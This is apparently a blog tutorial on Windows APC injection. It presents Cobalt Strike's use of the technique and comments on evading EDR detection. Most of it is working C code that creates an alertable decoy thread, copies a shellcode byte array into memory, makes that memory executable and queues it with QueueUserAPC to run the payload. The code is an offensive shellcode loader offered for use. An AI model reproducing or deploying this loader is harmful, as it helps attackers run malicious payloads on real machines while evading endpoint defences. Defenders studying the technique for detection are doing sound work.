APC Injection (Asynchronous Procedure Calls)

Today, I am giving a small tutorial which will discuss about APC (Asynchronous Procedur Calls). The reason that I sharing this tutorial is due to its simple implementation and also this is one of the technique which is used by CobaltStrike to inject the payload mentioned in the following url https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike

What is APC ?

Asynchronous Procedure Call (APC) is a Windows mechanism that enables programs to execute tasks asynchronously while continuing to execute other tasks. APC operates in kernel mode and is executed in the thread context of a specific thread. This mechanism can be utilized to queue our payload for execution.

The API (QueueUserAPC )

The windows API that we are going to utilize is the QueueUserAPC. There are 3 parameters that we need to supply prior calling the API. https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

pfnAPC : The address of the APC function to be called.
hThread : A handle to an alertable thread or suspended thread.
dwData : If the APC function requires parameters, they can be passed here. This value will be NULL in this module’s code.

If we read carefully the documentation from the microsoft, The thread requires specific state in order to be queued with APC.

“When a user-mode APC is queued, the thread is not directed to call the APC function unless it is in an alertable state.”

This can be done by creating a thread and using one of the following WinAPIs:

Sleep
SleepEx
MsgWaitForMultipleObjects
MsgWaitForMultipleObjectsEx
WaitForSingleObject
WaitForSingleObjectEx
WaitForMultipleObjects
WaitForMultipleObjectsEx
SignalObjectAndWait

In order to invoke the QueueUserAPC function, it is essential to have a thread created. The thread must be in an alertable state, which requires the invocation of at least one of the listed APIs. It is possible to designate a sacrificial thread that points to a valid code, ultimately leading to the invocation of the API, as illustrated below.

VOID simpleFunction() {
	
	HANDLE hEvent1	= CreateEvent(NULL, NULL, NULL, NULL);
	HANDLE hEvent2	= CreateEvent(NULL, NULL, NULL, NULL);

	printf("This is legitimate function which will not do anything harm to evade EDR detection")

	if (hEvent1 && hEvent2) {
		SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
		CloseHandle(hEvent1);
		CloseHandle(hEvent2);
	}
}

int main(){

    unsigned char Payload[] = {
	    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8....
    };

	HANDLE		hThread			= NULL;
	DWORD		dwThreadId		= NULL;

	hThread = CreateThread(NULL, NULL, &simpleFunction, NULL, NULL, &dwThreadId);
	if (hThread == NULL) {
		printf("CreateThread Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("Created With Id : %d \n", dwThreadId);

   if (!RunViaApcInjection(hThread, Payload, sizeof(Payload))) {
	  return -1;
   }

	WaitForSingleObject(hThread, INFINITE);

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

The Payload Injection

Once the thread with alertable state is craeted, it can be injected into the APC queue to execute our payload. The following function can be utilized to inject the thread with the malicious payload:

BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

	PVOID		pAddress			= NULL;
	DWORD		dwOldProtection		= NULL;

	
	pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pAddress == NULL) {
		printf("\tCreating memory space for payload is failed : %d \n", GetLastError());
		return FALSE;
	}

	memcpy(pAddress, pPayload, sPayloadSize);
	
	printf("\t[i] Payload Written To : 0x%p \n", pAddress);

	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\tChanging Memory to RWX is failed : %d \n", GetLastError());
		return FALSE;
	}

	if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
		printf("\t[!] QueueUserAPC Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}

With the above function, The thread that we have which initially to run the legitimate function then it is now pointed to the memory range that contain of our payload.

Leave a Reply